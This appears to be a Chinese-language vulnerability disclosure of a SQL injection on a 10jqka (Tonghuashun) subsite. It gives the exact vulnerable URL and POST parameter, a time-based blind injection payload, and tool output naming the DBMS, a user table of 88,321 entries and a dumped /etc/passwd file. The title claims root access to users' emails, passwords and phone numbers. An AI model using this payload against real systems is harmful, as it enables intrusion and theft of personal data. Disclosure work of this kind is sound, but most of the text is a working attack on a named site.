同花顺某分站SQL注入一枚(ROOT权限涉及大量用户注册邮箱/密码/电话号码等信息)

http://lab.10jqka.com.cn/school/quickSearch/
    
     POST：input=h

%' AND (SELECT * FROM (SELECT(SLEEP(5)))VVPT) AND '%'='

[11:58:39] [INFO] the back-end DBMS is MySQL
 web application technology: PHP 5.3.6
 back-end DBMS: MySQL 5.0.12
 Database: alpworks
 +----------+---------+
 | Table    | Entries |
 +----------+---------+
 | userinfo | 88321   |
 +----------+---------+

root:x:0:0:root:/root:/bin/bash
 bin:x:1:1:bin:/bin:/sbin/nologin
 daemon:x:2:2:daemon:/sbin:/sbin/nologin
 adm:x:3:4:adm:/var/adm:/sbin/nologin
 lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
 sync:x:5:0:sync:/sbin:/bin/sync
 shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
 halt:x:7:0:halt:/sbin:/sbin/halt
 mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
 uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
 operator:x:11:0:operator:/root:/sbin/nologin
 games:x:12:100:games:/usr/games:/sbin/nologin
 gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
 ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
 nobody:x:99:99:Nobody:/:/sbin/nologin
 dbus:x:81:81:System message bus:/:/sbin/nologin
 vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
 abrt:x:173:173::/etc/abrt:/sbin/nologin
 haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
 ntp:x:38:38::/etc/ntp:/sbin/nologin
 saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
 postfix:x:89:89::/var/spool/postfix:/sbin/nologin
 sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
 tcpdump:x:72:72::/:/sbin/nologin
 rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
 rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
 nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
 radvd:x:75:75:radvd user:/:/sbin/nologin
 qemu:x:107:107:qemu user:/:/sbin/nologin
 postgres:x:400:200::/home/postgres:/bin/bash
 mysql:x:500:500::/home/mysql:/bin/bash
 jenkins:x:501:501::/home/jenkins:/bin/bash
 pgstrom:x:502:502::/home/pgstrom:/bin/bash